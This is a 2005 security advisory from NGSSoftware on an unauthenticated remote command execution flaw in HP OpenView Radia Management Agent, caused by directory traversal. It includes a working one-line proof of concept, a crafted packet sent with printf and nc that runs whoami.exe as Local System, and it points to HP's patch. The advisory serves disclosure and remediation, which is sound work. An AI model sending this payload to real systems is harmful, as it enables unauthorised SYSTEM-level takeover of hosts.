NGSSoftware Insight Security Research Advisory
Name: HP OpenView Radia Management Agent remote command execution via
directory traversal
Systems Affected: HP OpenView Radia Management Portal versions 2.x and
1.x running Radia Management Agent
Severity: High
Vendor URL: http://www.hp.com/
Authors: David Morgan davidm@ngssoftware.com
Dominic Beecher dominic@ngssoftware.com
Date of initial advisory: 28 April 2005
Date of full advisory: 28 July 2005
Description
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The Radia Management Agent is part of HP's OpenView Radia suite of
software. It runs as a Windows service (RMA) with Local System
privileges. The RMA service listens on a TCP port that is not fixed. In
the example below, the service was listening on TCP port 1065.
By connecting to the TCP port and sending a crafted packet, it is
possible to traverse out of C:\Program Files\Novadigm (the apparent
working directory) and run any executable that is located on the same
logical disk partition, in this case the C: drive.
Details
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C:\>sc queryex rma
SERVICE_NAME: rma
TYPE : 110 WIN32_OWN_PROCESS (interactive)
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 1032
FLAGS :
C:\>netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:1065 0.0.0.0:0 LISTENING 1032
bash$ printf "\x00\x00\x00../../windows/system32/whoami.exe\x00" | nc -v
xx.xx.xx.xx 1065
host.domain [xx.xx.xx.xx] 1065 (?) open
nt authority\system
The output from whoami.exe clearly demonstrates that it is possible for
a remote attacker to execute arbitrary system commands with Local System
privileges without authentication.
Fix Information
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HP has developed a patch to fix the problem. More information can be
found in their security bulletin HPSBMA01138:
http://itrc.hp.com/service/cki/docDisplay.do?docId=HPSBMA01138
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